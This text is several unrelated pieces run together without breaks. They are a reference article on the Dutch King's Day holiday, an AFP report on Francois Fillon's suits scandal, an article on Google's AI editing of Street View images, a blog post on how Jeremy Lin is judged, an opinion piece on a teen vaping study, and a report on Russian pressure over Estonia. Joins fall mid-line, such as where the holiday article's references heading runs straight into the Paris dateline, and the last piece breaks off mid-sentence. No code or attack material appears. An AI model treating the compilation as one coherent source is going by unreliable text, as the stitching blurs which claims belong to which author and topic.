Koningsdag ( Dutch pronunciation: [ˈkoːnɪŋzdɑx] ()) or King's Day is a national holiday in the Kingdom of the Netherlands. Celebrated on 27 April (26 April if the 27th is a Sunday), the date marks the birth of King Willem-Alexander.[1] Until the abdication of Queen Beatrix in 2013, the holiday was known as Koninginnedag ( Dutch pronunciation: [ˌkoːnɪŋˈɪnədɑx] ()) or Queen's Day and was celebrated on 30 April.
The holiday was initially observed on 31 August 1885 as Prinsessedag or Princess's Day, the fifth birthday of Princess Wilhelmina, then heir presumptive to the Dutch throne. On her accession in November 1890 the holiday acquired the name Koninginnedag, first celebrated on 31 August 1891. In September 1948, Wilhelmina's daughter Juliana ascended to the throne and the holiday was moved to her birthday, 30 April. The holiday was celebrated on this date from 1949.
Juliana's daughter, Beatrix, retained the celebration on 30 April after she ascended the throne in 1980, though her birthday was on 31 January.[2] Beatrix altered her mother's custom of receiving a floral parade at Soestdijk Palace, instead choosing to visit different Dutch towns each year and join in the festivities with her children. In 2009, the Queen was celebrating Queen's Day in the city of Apeldoorn when a man attempted to attack her by trying to ram the Royal family's bus with his car; instead he drove into a crowd of people and crashed into a monument: seven people in the crowd were killed, as was the driver. Queen Beatrix abdicated on Koninginnedag 2013, and her son, Willem-Alexander, ascended the throne (the first king since the observance of the national holiday). As a result, the holiday became known as Koningsdag from 2014 on, and the celebration was shifted three days back to 27 April, the King's birthday.
Koningsdag is known for its nationwide vrijmarkt ("free market"), at which the Dutch sell their used items. It is also an opportunity for "orange madness" or oranjegekte, a kind of frenzy named for the national colour.
History [ edit ]
Wilhelmina (1885–1948) [ edit ]
Koninginnedag on 31 August 1932 in Amsterdam on 31 August 1932 in Amsterdam
Faced with an unpopular monarchy, in the 1880s the liberals in Dutch government sought a means of promoting national unity.[3] King William III was disliked, but his four-year-old daughter Princess Wilhelmina was not.[4] A holiday honouring King William had been intermittently held on his birthday, and J. W. R. Gerlach, editor of the newspaper Utrechts Provinciaal en Stedelijk Dagblad, proposed that the princess's birthday be observed as an opportunity for patriotic celebration and national reconciliation.[5] Prinsessedag or Princess's Day was first celebrated in the Netherlands on 31 August 1885, Wilhelmina's fifth birthday. The young princess was paraded through the streets, waving to the crowds.[4] The first observance occurred only in Utrecht, but other municipalities quickly began to observe it, organizing activities for children.[5] Further processions were held in the following years, and when Wilhelmina inherited the throne in 1890, Prinsessedag was renamed Koninginnedag, or Queen's Day.[4] By then almost every Dutch town and city was marking the holiday.[5]
The celebration proved popular, and when the Queen came of age in 1898, her inauguration was postponed a week to 6 September so as not to interfere with Koninginnedag.[6] The annual holiday fell on the final day of school summer vacation, which made it popular among schoolchildren.[4] It is uncertain how much Wilhelmina enjoyed the festivities; although writer Mike Peek, in a 2011 magazine article about Koninginnedag, suggests she was enthusiastic,[4] there is a story of Wilhelmina, after a tired return from one of these birthday processions, making her doll bow until the toy's hair was dishevelled, and telling it, "Now you shall sit in a carriage and bow until your back aches, and see how much you like being a Queen!"[7]
Koninginnedag 1902 not only honoured the Queen's birthday, but was celebrated with increased enthusiasm as it marked her recovery from serious illness.[3] Wilhelmina rarely attended Koninginnedag festivities after reaching adulthood.[8] She attended ceremonies for her silver jubilee in 1923, which included massive festivities in Amsterdam and The Hague, despite the Queen's request that large sums not be spent because economic conditions at the time were difficult. To ensure that even the poorer parts of the city were included, bands played simultaneously at 28 locations across The Hague.[9] Wilhelmina made further exceptions for such events as her fiftieth birthday in 1930.[8] During the German occupation of the Netherlands during World War II, Koninginnedag celebrations were banned, and members of the Orange Committees, which organize the holiday events, destroyed their records for fear of German reprisals.[6]
Juliana (1948–1980) [ edit ]
Koninginnedag 1958 Military parade in Arnhem 1958
Another summertime birthday celebration in the Netherlands was that of Wilhelmina's mother, Queen-Regent Emma, who after Wilhelmina attained adulthood generally spent her own birthday, 2 August, at Soestdijk Palace in Baarn. Until her death in 1934, Emma received an annual floral tribute from the townsfolk on her birthday. In 1937 Wilhelmina's daughter and heiress, Princess Juliana, took up residence at Soestdijk Palace following her marriage, and the townsfolk made their floral presentation to her, moving the date to Juliana's birthday, 30 April.[8] In September 1948 Juliana ascended to the Dutch throne and from 1949 onwards Koninginnedag was on her birthday.[10] The change in date attracted immediate approval from Dutch children, who gained an extra day of holiday. The first observance of the holiday on the new date included a huge circus at the Amsterdam Olympic Stadium—one not attended by the royal family, who remained at Soestdijk Palace.[11] Queen Juliana retained the floral tribute, staying each year on Koninginnedag at Soestdijk Palace to receive it. The parade became televised in the 1950s, and Koninginnedag increasingly became a national holiday, with workers given the day off.[3] Juliana had a reputation as a "queen of the people", and according to Peek, "it felt as if she invited her subjects to the royal home".[4]
In early 1966 Juliana's eldest daughter, Princess Beatrix, married Klaus-Georg von Amsberg. The marriage was controversial because the new Prince Claus (as he was dubbed) was a German, and Claus himself had served in the German Army during the war. Anti-German riots in Amsterdam marred the wedding day and the following observances of Koninginnedag. Fearing further demonstrations on the holiday, government officials decided to open Amsterdam city centre to the vrijmarkt ("free market") that had long been held on Koninginnedag in the outskirts of town, principally for children. The vrijmarkt occupied the space where demonstrations might have been held, and began a new custom.[4]
Beatrix (1980–2013) [ edit ]
When Queen Beatrix succeeded her mother Juliana on the latter's abdication on 30 April 1980, the new queen decided to keep the holiday on 30 April as a tribute to her mother.[2][3] (If 30 April fell on a Sunday, Koninginnedag was observed the previous day—this occurred most recently in 2006.[12]) The reason was practical as well—Beatrix's actual birthday on 31 January would have been less conducive to the traditional outdoor activities.[10] Rather than remaining at the palace and letting the Dutch people come to her, Beatrix instead usually visited two towns each year for Koninginnedag celebrations.[3] Local crafts and customs were demonstrated for the royal family, who had the opportunity to join in.[13][14]
Koninginnedag celebrations have sometimes been affected or disrupted. In 1988 three British servicemen stationed in Germany who were in the Netherlands for Koninginnedag were killed in Irish Republican Army attacks.[15] In 1996 the celebrations in Rotterdam were dampened by an alcohol ban, put in place following riots earlier in the week after local football club Feyenoord won the Dutch league championship.[16] The Queen's scheduled 2001 visits to Hoogeveen and Meppel were postponed for one year owing to an outbreak of foot-and-mouth disease.[17]
On 30 April 2009, Beatrix and other members of the royal family were at the town of Apeldoorn when a 38-year-old man, Karst Tates, drove his Suzuki Swift automobile into the crowd, narrowly missing the open-top bus the royal family members were riding on.[4][18] Seven people were killed and further celebrations were cancelled.[18] Tates died of injuries sustained in the attack soon afterwards and his exact motives remain unclear, though it appears his target was the royal family.[4] The incident provoked questions about whether the royal family should continue to participate in the celebrations. However, Beatrix indicated that the tragedy would not stop her from meeting her people.[13] In 2010, Beatrix and her family visited Wemeldinge and Middelburg, in Zeeland province. There were no incidents, and afterwards, the Queen thanked Zeeland for giving Koninginnedag back to her family, and to her country.[4]
Queen Beatrix visited the following towns and cities over the years on Koninginnedag:[19]
On 28 January 2013 Queen Beatrix announced her abdication on 30 April 2013 in favour of her son, Willem-Alexander.[22] Since this date coincided with Koninginnedag the royal family's planned visit to De Rijp and Amstelveen was cancelled,[21] although Koninginnedag 2013 was still celebrated throughout the country.[23][24][25]
Koningsdag 2014 in King Willem-Alexander, Queen Maxima and Princess Beatrix during the celebration of2014 in De Rijp
On 30 April 2013, Queen's Day, Willem-Alexander succeeded his mother Beatrix and became the first King of the Netherlands in 123 years. Consequently, from 2014 onwards the name has been changed from Queen's Day to King's Day. The date has also changed from 30 to 27 April, which is the birthday of Willem-Alexander.[1] On the first King's Day – held on 26 April 2014 because 27 April 2014 was a Sunday – the king visited De Rijp and Amstelveen (originally planned to be visited by Queen Beatrix in 2013, but postponed due to her abdication).[26]
King Willem-Alexander visited the following towns and cities over the years on Koningsdag:
Activities [ edit ]
The festivities on Koningsdag are often organised by Orange Committees (Dutch: Oranjecomité), local associations[3] that seek sponsorship and donations for their activities. In recent years some committees have had difficulty in recruiting new members from among the younger Dutch.[32]
Flea market [ edit ]
The vrijmarkt (literally 'free market') is a nationwide flea market, at which many people sell their used goods. Koningsdag is the one day of the year that the Dutch government permits sales on the street without a permit and without the payment of value added tax.[33] ING Bank found in 2011 that one in five Dutch residents planned to sell at the vrijmarkt and estimated they would earn €100 per person for a total turnover of €290 million. Over half of the Dutch people buy at the vrijmarkt; ING Bank predicted they would spend €28 each at the 2011 vrijmarkt.[34] Queen Beatrix has been known to buy at the vrijmarkt; in 1995 she purchased a floor lamp.[35] The bank also forecast that the lowest level of sales at the vrijmarkt in 2011 would be in the province of Limburg, site of Queen Beatrix's visit.[34]
Among the most popular areas for the vrijmarkt in Amsterdam is the Jordaan quarter, but the wide Apollolaan in front of the Hilton hotel in southern Amsterdam is gaining in popularity. Children sell their cast-off toys or garments at the Vondelpark, also in southern Amsterdam, and in a spirit of fun passers-by often offer the young sellers more than they are asking for the goods.[36] Until 1996 the vrijmarkt began the evening before and continued for 24 hours. This was ended in the hope of gaining a pause in the celebrations so preparations could be made for the daytime activities.[4] Utrecht, uniquely among Dutch municipalities, retains the overnight vrijmarkt.[20]
Festivities [ edit ]
Koningsdag now sees large-scale celebrations, with many concerts and special events in public spaces, particularly in Amsterdam. An outdoor concert is held on Amsterdam's Museumplein, where as many as 800,000 people may gather. To aid visitors in returning home by train after the festivities outdoor events must end by 20:00, and the Museumplein show by 21:00.[20] The city centre is closed to cars, and no trams ride in the heart of the city; people are urged to avoid Amsterdam Centraal railway station and use other stations if possible from their direction. International trains that normally begin or terminate at Amsterdam Centraal are instead directed to a suburban stop.[37]
Koninginnenacht in 2008 A concert given by the Dutch band Leaf in The Hague duringin 2008
Koninginnedag 2007 Revellers dressed in orange in Amsterdam,2007
In recent years parties and concerts have been held the evening before Koningsdag. Until 2013, nightclubs across the Netherlands organised special events for what became known as Koninginnenacht (Queen's Night).[38] Many young people celebrate in the streets and squares (and in Amsterdam, the canals as well) throughout the night, and after all-night partying join the crowds at the vrijmarkt.[13]
While King's Day celebrations take place throughout the Netherlands, Amsterdam is a popular destination for many revellers. Often the city's 750.000 residents are joined by up to 1 million visitors. In recent years Amsterdam authorities have taken some measures to try to stem the flow of visitors as the city became too crowded.[39]
Those taking part in Koningsdag commonly dye their hair orange or wear orange clothing in honour of the House of Orange-Nassau, which rules over the Netherlands. Orange-coloured drinks are also popular.[40] This colour choice is sometimes dubbed "orange madness", or in Dutch, oranjegekte.[13] A local Orange Committee member said of Koninginnedag in 2011:
Friendships—and community—will be formed. For me that’s really what Queen’s Day is all about. It’s not an outburst of patriotism, it’s not even about the popularity of the royal family. It’s about a sense of belonging. For one day, everybody is the same in Holland. Bright orange and barmy.[6]
Children celebrate with a variety of games including koekhappen (in which they catch spice cake dangling from a string in their mouths) and spijker poepen (in which they tie string around their waist a nail dangling at one end, which they attempt to lower into a glass bottle).[41]
Honours [ edit ]
Koningsdag is an opportunity for the monarch to honour citizens for their service to the Netherlands. In 2011, Queen Beatrix issued an honours list noting the work of 3,357 people, most of whom became members of the Order of Orange-Nassau.[42]
Observance in Netherlands territories outside Europe [ edit ]
Koningsdag is also celebrated in Aruba, Curaçao, and Sint Maarten, constituent countries of the Kingdom of the Netherlands.[13] It is less widely celebrated on the Caribbean island of Bonaire, also a part of the Kingdom, where the local celebration of Dia di Rincon (held on 30 April) is more popular.[43]
References [ edit ]PARIS (AFP) – French presidential candidate Francois Fillon on Monday defended his radical economic plan and proposed a measure to clean up politics, two days before a key meeting with judges investigating him over a fake jobs scandal.
The struggling conservative, who was hit by new allegations of financial impropriety over the weekend, said that if elected in May, he would hold his government to the highest ethical and performance standards.
To “prevent conflicts of interest and (ensure) the proper use of public funds”, ministers would be required to sign a code of conduct, the Republicans candidate said.
Underperforming members in his whittled-down cabinet of 15 ministers would be shown the door, he said at a press conference.
On the economic front, he reiterated his plans to slash public spending by getting civil servants to work 39 hours a week, up from 35 currently, and increasing the minimum retirement age to 65 from 62.
Vowing to move quickly, he promised: “Within the first weeks, everyone in France will see that something unprecedented is happening.”
But his remarks were yet again overshadowed by persistent questions about his probity.
On Sunday, a leading newspaper reported that a mystery benefactor had bought the former prime minister luxury suits worth thousands of euros.
The report in the Journal du Dimanche came as Fillon prepares to appear before judges on Wednesday to face possible charges over payments totalling hundreds of thousands of euros to his wife for a suspected fake job as a parliamentary assistant.
Voter surveys show Fillon, seen as the frontrunner in the presidential race before the scandal broke, trailing in third behind centrist upstart Emmanuel Macron and far-right leader Marine Le Pen.
Macron, 39, would win the two-stage election on April 23 and May 7 if held today, the polls show, but analysts have warned against making firm forecasts in an election shaping up as the most unpredictable in France’s post-war history.
The 63-year-old Fillon, who fended off intense pressure from Republican moderates to step aside over the fake job allegations, condemned the latest revelations as part of a media “witch hunt”.
“I am the target of so many attacks that I can’t consider them anything other than a sort of witch hunt,” he told Europe 1 radio on Monday.
“What could explain that hundreds of journalists, at the very least dozens, go through my garbage to find out about my suits. Tomorrow it will be my shirts and then why not my underpants as well?”
– ‘So what?’ –
The Journal du Dimanche claimed that Fillon received gifts of bespoke suits and other clothing worth a total of 48,500 euros ($51,800) since 2012 from Arnys — Paris tailor to the jet set.
Of that sum, 35,500 euros was paid in cash, with the remainder paid by cheque, the report said.
“I paid at the request of Francois Fillon,” the JDD quoted the signatory of the cheque as saying.
In France, lawmakers are required to declare all donations or gifts worth over 150 euros, but few comply with the rule.
Fillon, who was first elected to parliament in 1981, has admitted that a “friend” paid for two suits, saying: “So what?”
On Monday, he denied that the clothing he received came to 48,500 euros, telling Europe 1 radio the figure was “not correct”.
The revelations come in a key week for the Republicans candidate, who won the rightwing nomination by campaigning as a sleaze-free alternative in a political landscape riven with scandal.
On Wednesday, he faces possible charges over using public funds to pay his wife Penelope about 700,000 euros as a parliamentary assistant over some 15 years.
Penelope is suspected of doing little to no work for the salary.
The couple insist that she played a key role in managing affairs in his central Sarthe constituency.Google’s latest artificial intelligence experiment is taking in Street View imagery from Google Maps and transforming it into professional-grade photography through post-processing — all without a human touch. Hui Fang, a software engineer on Google’s Machine Perception team, says the project uses machine learning techniques to train a deep neural network to scan thousands of Street View images in California for shots with impressive landscape potential. The software then “mimics the workflow of a professional photographer” to turn that imagery into an aesthetically pleasing panorama.
Google is training AI systems to perform subjective tasks like photo editing
The research, posted to the pre-print server arXiv earlier this week, is a great example of how AI systems can be trained to perform tasks that aren’t binary, with a right or wrong answer, and more subjective, like in the fields of art and photography. Doing this kind of aesthetic training with software can be labor-intensive and time-consuming, as it has traditionally required labeled data sets. That means human beings have to manually pick out which lighting effects or saturation filters, for example, result in a more aesthetically pleasing photograph.
Fang and his team used a different method. They were able to train the neural network quickly and efficiently to identify what most would consider superior photographic elements using what’s known as a generative adversarial network. This is a relatively new and promising technique in AI research that pits two neural networks against one another and uses the results to improve the overall system.
In other words, Google had one AI “photo editor” attempt to fix professional shots that had been randomly tampered with using an automated system that changed lighting and applied filters. Another model then tried to distinguish between the edited shot the original professional image. The end result is software that understands generalized qualities of good and bad photographs, which allows it to then be trained to edit raw images to improve them.
To test whether its AI software was actually producing professional-grade images, Fang and his team used a “Turing-test-like experiment.” They asked professional photographers to grade the photos its network produced on a quality scale, while mixing in shots taken by humans. Around two out of every five photos received a score on par with that of a semi-pro or pro, Fang says.
“The Street View panoramas served as a testing bed for our project,” Fang says. “Someday this technique might even help you to take better photos in the real world.” The team compiled a gallery of photos its network created out of Street View images, and clicking on any one will pull up the section of Google Maps that it captures. Fang concludes with a neat thought experiment about capturing photos in the real world: “Would you make the same decision if you were there holding the camera at that moment?”After Game 6 an old topic that I have wanted to debate reappeared in my mind. I thought hard about writing this article in the past few day but after today’s game it was I had to bring this up. I could’ve taken the time to write about Friday or today’s game but it would’ve been a waste of time and there is nothing good coming out of that. Instead, I want to talk about the underlying truth that’s been obscured by most, even by Jeremy Lin’s own selfless and calm personality.
If you have followed me on Twitter you would know that I don’t necessarily like it when people play the racism card. I find it too simple and more of a reaction taken at the heat of the moment rather than a logical conclusion. You might also know that I’m not Asian. Therefore, what I’m going to talk about doesn’t come from racial-preference. But, from my observations of what’s obviously a discrepancy in equal perception of Jeremy Lin compared to others and how this stereotypical perception has affected Lin’s current season and how it might shape his future in the NBA.
(Before I go any further I must clarify my position on Steve Clifford’s treatment of Lin before I am misinterpreted. Clifford is not a Byron Scott or a Kevin McHale. In my opinion, he has treated Lin fairly during the entire season and more so than any other coach since Mike D’Antoni.)
The underlying truth is that Jeremy Lin is not like any other NBA player. And I don’t mean that the way that you might think I do. I was at Time Warner Cable Arena for Game 6 thanks to a fellow Lin fan that was generous enough to give me a free ticket. As you all know Lin had a terrible game, there is no way to sugarcoat it. But, Lin is human, he is like every other NBA player which means he can have a bad game just like anyone else. Or maybe not. Because as I headed out to the exits the only thing I heard people talking about was Jeremy Lin’s horrible game. In game 6 Lin had 8 Points shooting 1/8 from the field in 23 minutes. It was indeed a bad night, but my question is, why did I only hear about Jeremy Lin having a bad game? Frank had 7 points in 35 minutes. Lee had 2 points (yes, two) in 39 minutes. Marvin Williams had 0 points shooting 0/7 in 37 minutes! Yet, I didn’t hear anyone talking about any of those players. Why is that? Why is it that it’s ok for Frank, Marvin and Lee to have bad games without their value diminishing but not for Jeremy Lin.
Why is it that someone like Cory Joseph, who averaged 7/2/2 in 18 MPG last year, got a 7.5 M/YR contract this season; and Jeremy Lin who averaged 11/4.6/2.6 in 23 MPG last year got a miserable 2 M/YR contract? Even Jeremy Lamb got an extension of 7 M/YR averaging only 6/2/1 in 14 MPG last season. I know there is going to be a lot of arguments about contracts, but I don’t have time to dive into all the little details so let me go a bit further.
My argument is much more than contracts and money. It’s the fact that Lin’s bad games are treated differently than anyone else’s bad games. That Lin’s best games are treated differently than anyone else’s best games. Imagine that Lin was a stock in the market. In essence, when Lin has a great game his stock might stay the same or rise by 1-2%. When Lin has a bad game his stock plummets 80-90%. Yet, Batum can have a horrible game yet his value remains the same and no one questions his basketball abilities. Some may call this racism but I think that answer is too simple. I think there is a stereotypical subliminal perception of Lin, I know that’s a mouthful, but let me explain further.
In Lin’s first season with the Rockets he averaged 13/6/3 in 32 MPG. After that “terrible” season he was benched the following year in favor of the infamous Patrick Beverley. Last season (first season without Lin) Beverley averaged 10/3/4 in 31 MPG. Beverley got a 6.25 M/YR contract after that season which was deemed as “great.”
But for some unknown reason Lin’s points, assists and rebounds per game have less value than everyone else’s he is compared with. But the stereotypical subliminal perception of Lin is not just about his value. Recently another Lin fan published a video that became viral about Lin’s “too flagrant not to call” fouls. I remember watching the first 2-3 minutes and I had to take the video off. I just couldn’t keep on watching. These fouls were so flagrant yet sometimes Lin didn’t even get a common foul call. It was terrible.
In some way it’s like Lin is treated with a completely different set of standards. Let’s even bring it to today’s Game 7. The Hornet’s were having a terrible game and Lin was getting in his groove in the second quarter. Yet, he was benched and only played 9 minutes as the Hornets were down 12 at halftime. Clifford waited until they were down 20+ points to call his first time-out of the 3rd quarter. And guess who remained in the bench? Jeremy Lin. In fact, Lin finished with the same total amount points as Kemba Walker, who played 36 mins compared to Lin’s 19, in half the amount of shots. Yet again, no one is going to question Kemba’s basketball abilities just because of a bad game, and his value will not diminish either.
This subliminal stereotypical perception is so bad that I fear that Lin’s terrible Game 6 will undo most of what he has been able to accomplish during the entire season. I hope this is not the case. Thankfully we have been able to experience some good coverage on Lin after Game 4 and 5 of the playoffs. But the truth is that I expect Lin’s value to be lower than what it should be compared to other similar players unless there is a team that really wants him. My bet is on the Nets. I think they would be willing to give Lin the chance he deserves. Regardless, as good of a season he had, and as great as his teammates are if Lin stays, and everyone else does as well, he will commit career suicide. Lin would average less than 18 MPG next season for the Hornets if he stays. The only way I see that Lin stays is if Batum leaves. And believe me, I would love Lin to stay in Charlotte, I live in this city, but he shouldn’t, he can’t. Sadly, we won’t be able to know anything anytime soon after our season was cut short.
What I been able to see in the last few years dissapoints me tremendously. I have seen Lin have great games, yet never getting the recognition or the value that he deserves. His basketball abilities and value is questioned every single bad game he has. But, the truth is Lin is human. He is not perfect, neither should he be. However, for most in the NBA Lin can never be good enough. I really hope that after these playoffs someone gives Lin the keys to run a team, but if history repeats himself, sadly, that won’t be the case. And Lin is too good to just be a 18 MPG role player.
AdvertisementsSmoking among American teenagers has continued to decline, reaching the lowest rate on record last year, as more and more of them experiment with vaping. These opposite trends seem inconsistent with warnings that the rising popularity of e-cigarettes will encourage consumption of the real thing. Still, it’s possible that the smoking rate among teenagers would be falling even faster if e-cigarettes had never been introduced. A study reported in the journal Tobacco Control last week provides ammunition for those who are inclined to think that’s the case. But contrary to what you may have read, it does not actually show that vaping leads to smoking.
The researchers, led by Thomas Wills, a social psychologist at the University of Hawaii Cancer Center, surveyed about 2,300 ninth- and 10th-graders, once in 2013 and again a year later. They found that students who in 2013 said they had never smoked were nearly three times as likely to report smoking in 2014 if they had tried e-cigarettes at the time of the initial survey. “We found that e-cigarettes had a risk-promoting effect for onset of smoking,” Wills et al. write. “While some of the transition to dual use was attributable to other variables that are correlated with e-cigarette use (e.g., ethnicity and rebelliousness), the effect of e-cigarettes for onset of smoking was independent of these variables.”
Although the researchers talk about the “onset of smoking,” the measure they used was whether subjects had tried conventional cigarettes at all. It’s not clear how many of those who had will ever be regular cigarette smokers. More important, the “risk-promoting effect” to which Wills and his colleagues refer is actually an association, and it’s not clear whether it represents a cause-and-effect relationship.
There are reasons why some teenagers try e-cigarettes while others do not, and those same factors—which could be related to personality, social circumstances, or tastes and preferences—may explain why those teenagers are also more likely to try conventional cigarettes. Wills and his colleagues tried to rule out alternative explanations for the association between vaping and smoking by controlling for several possible confounding variables, including demographic characteristics and measures of rebelliousness, sensation seeking, and parental support and monitoring. But it’s impossible to precisely measure and control for every variable that distinguishes teenagers who experiment with e-cigarettes from those who don’t.
Having assumed an effect that may not exist, Wills et al. suggest a couple of ways in which vaping could lead to smoking. “The reasons for the effect of e-cigarette use on transition to smoking remain to be clarified, but plausible hypotheses have been suggested,” they write. “One is that some e-cigarettes mimic the look and feel of cigarettes, and the inhaling and exhaling of e-cigarette aerosol produces some of the same sensory experiences as smoking a cigarette. This similar experience may contribute to an inclination towards trying cigarette smoking. Additionally, nicotine exposure via e-cigarettes, even at lower levels, may sensitise adolescents to its effects. If adolescents begin to experience mild physiological effects from nicotine they may be inclined to shift to cigarettes in order to get a bigger ‘kick.’”
Or not. Even if it were true that teenagers who smoke tend to vape first, that would not prove vaping causes smoking. The issue is analogous to the question of whether marijuana is a “gateway” to heroin. While cannabis consumers rarely use heroin, they are more likely to do so than people who never try marijuana, and almost every heroin addict used marijuana first. But that does not mean smoking pot makes people more likely to snort or inject heroin. It could simply be that certain characteristics and circumstances make people more likely to use both drugs, while marijuana tends to be used first because it is far more popular and accessible (in terms of its psychoactive effects as well as its supply). If so, eliminating marijuana from the face of the earth would have no impact on heroin use.
Likewise, the relevant question for those who worry about teenagers who start with vaping and move on to smoking is what would have happened if e-cigarettes did not exist. Would those teenagers have eschewed tobacco for the rest of their lives, or would they have ended up smoking anyway? That question can be answered only with studies that will never be done: experiments in which teenagers are randomly assigned to use e-cigarettes or not, then followed for several years to compare smoking rates.
Without the reassurance that such hypothetical research might provide, we will have to make do with the observation that if e-cigarettes somehow make smoking more prevalent among teenagers than it otherwise would have been, the effect is small enough that smoking by high school students continues a decline that began in the late 1990s. In fact, according to the Monitoring the Future Study, the downward trend accelerated after e-cigarettes were introduced to Americans in 2006 or so.
Wills et al. conclude that “policies restricting adolescents’ access to e-cigarettes may have a rationale from a public health standpoint.” If they are talking about setting a minimum age for purchasing e-cigarettes, their suggestion is not very controversial. Many jurisdictions already enforce a minimum purchase age of 18, and pending federal regulations would impose that rule nationwide. But if Wills et al. are talking about regulations that affect adults, such as restrictions on advertising or bans on certain flavors, the public-health rationale is not at all clear. Rules that make vaping less attractive to current smokers could undermine public health by impeding the replacement of cigarettes by a much less harmful alternative. Worrying about vapers who become smokers while overlooking smokers who become vapers is a recipe for deadly public policy.Russia says it is worried that a former Soviet republic isn't doing enough to protect its large ethnic Russian population. But this time, the Kremlin is not talking about Ukraine.
It's talking about Estonia.
The tiny Baltic state is a member of both NATO and the European Union. But the tone coming from their giant neighbor to the east – a neighbor that just occupied Crimea on similar grounds – has Estonians nervous.
“I believe that most Estonians are neither hysterical nor surprised by President Putin’s behavior in Crimea,” says Eiki Berg, a professor of international relations at the University of Tartu, Estonia’s leading research institution. “This is very similar to what Stalin’s Soviet Union did in Estonia, Latvia, and Lithuania in 1939-40.”
Estonia enjoyed a brief independence between the world wars, ending with invasions by the Soviet Union, Nazi Germany, and then the Soviets again, who occupied the country until 1991. The post-war occupation of Estonia brought deportations that affected nearly every family in this country of 1.3 million, and large numbers of ethnic Russians immigrated to Estonia, a legacy which is felt today in the country’s demography.
The considerable ethnic Russian population in eastern Estonia’s border region, which in some areas is 90 percent Russian speaking, came to the fore on Wednesday, when a Russian diplomat raised concerns to the UN Human Rights Council in Geneva. "Language should not be used to segregate and isolate groups," the diplomat said according to Reuters, and Russia was "concerned by steps taken in this regard in Estonia as well as in Ukraine."
“Estonia and Latvia have significant Russian-speaking minorities that could be exploited in a similar way [to Ukraine], using Russian media under control of the Kremlin,” says Martin Hurt of the Tallinn-based International Center for Defense Studies, a security oriented public policy think tank.
“But there are major differences with the Ukraine situation," Mr. Hurt adds. "The NATO alliance, of course, provides a massive deterrent and Estonia has been a member of the EU for the last 10 years. The Russian minority understands its benefits and the lesser standard of living across the border.”
Estonia’s ethnic Russians are considered to generally have far better opportunities than their cousins across the border in Russia. But integration has not been without problems. Most of Estonia’s social problems fall disproportionately on the shoulders of Russian speakers, from unemployment to crime to drug and alcohol abuse. Tallinn’s concrete Soviet-era ghettos are populated largely by ethnic Russians.
Discontent occasionally boils over. In April 2007, Russian speakers rioted for two nights after the Bronze Soldier memorial to fallen Red Army “liberators” of Estonia during World War II was relocated from the center of Tallinn to a military cemetery. This was followed by a cyber attack on Estonia’s computer networks generally attributed to |
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